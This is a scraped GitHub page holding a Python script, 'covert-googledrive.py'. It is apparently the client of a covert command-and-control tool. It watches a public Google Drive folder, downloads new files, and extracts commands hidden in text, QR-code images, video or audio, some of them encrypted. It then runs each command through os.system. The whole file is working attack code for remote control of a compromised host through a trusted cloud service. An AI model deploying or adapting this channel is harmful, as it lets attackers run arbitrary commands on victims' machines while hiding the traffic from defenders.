-
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathcovert-googledrive.py
executable file
·122 lines (107 loc) · 4.26 KB
/
covert-googledrive.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from __future__ import unicode_literals
from bs4 import BeautifulSoup
import read_file
import requests
import datetime
import urllib
import config
import time
import sys
import os
debug = config.debug
def execute_commands(commands):
for cmd_ in commands:
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Command: %s"%(now.hour,now.minute,now.second,cmd_))
os.system(cmd_)
def analyze(downloaded_file):
data_type = config.data_type
commands = []
if data_type == "text" or data_type == "text_encrypted":
if not downloaded_file.endswith(".txt"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".txt"))
else:
commands = read_file.read_text(data_type, downloaded_file)
elif data_type == "image" or data_type == "image_encrypted":
if not downloaded_file.endswith(".png"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".png"))
else:
if data_type == "image":
commands = read_file.read_image("qr", downloaded_file)
elif data_type == "image_encrypted":
commands = read_file.read_image("qr_aes", downloaded_file)
elif data_type == "video" or data_type == "video_encrypted":
if not downloaded_file.endswith(".avi"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".avi"))
else:
if data_type == "video":
commands = read_file.read_video("qr", downloaded_file, "/tmp/")
elif data_type == "video_encrypted":
commands = read_file.read_video("qr_aes", downloaded_file, "/tmp/")
elif data_type == "audio" or data_type == "audio_encrypted":
if not downloaded_file.endswith(".wav"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".wav"))
else:
commands = read_file.read_audio(data_type, downloaded_file)
else:
if debug: print("[%02d:%02d:%02d] Unexpected data_type value: %s"%(now.hour,now.minute,now.second,data_type))
return commands
def download_file(file_url, downloaded_file_path):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] New file! Downloading to: %s"%(now.hour,now.minute,now.second,downloaded_file_path))
with requests.get(file_url, stream=True) as r:
r.raise_for_status()
with open(downloaded_file_path, 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
f.write(chunk)
def get_files(url):
data = requests.get(url)
soup = BeautifulSoup(data.text, 'html.parser')
files_list = []
counter = 0
divs = soup.findAll("div")
for d in divs:
if d.has_attr('data-id'):
counter+=1
fileid = d['data-id']
filename = d.findAll("div",{"data-tooltip-unhoverable":"true"})[0]['data-tooltip']
download_url = "https://drive.google.com/uc?id="+fileid+"&authuser=0&export=download"
files_list.append({"name":filename,"id":fileid,"url":download_url})
return files_list
def wait_for_upload(delay_seconds, download_dir, url):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds))
files_initial = get_files(url)
while True:
time.sleep(delay_seconds)
files_now = get_files(url)
if len(files_now) > len(files_initial):
new_files = [item for item in files_now if item not in files_initial]
for file in new_files:
downloaded_file = download_dir+"/"+str(file['name'])
download_file(str(file['url']), downloaded_file)
time.sleep(2)
commands = analyze(downloaded_file)
execute_commands(commands)
os.remove(downloaded_file)
files_initial = files_now
else:
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] No new file uploaded. Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds))
def main():
download_dir = "."
if len(sys.argv) == 2:
url = sys.argv[1]
else:
url = config.googledrive_folder
if url == "":
print("[-] ERROR: It is necessary to use the Google Drive public folder as input parameter or add the value to the parameter 'googledrive_folder' in config.py")
sys.exit(1)
delay_seconds = config.delay_seconds
wait_for_upload(delay_seconds, download_dir, url)
if __name__== "__main__":
main()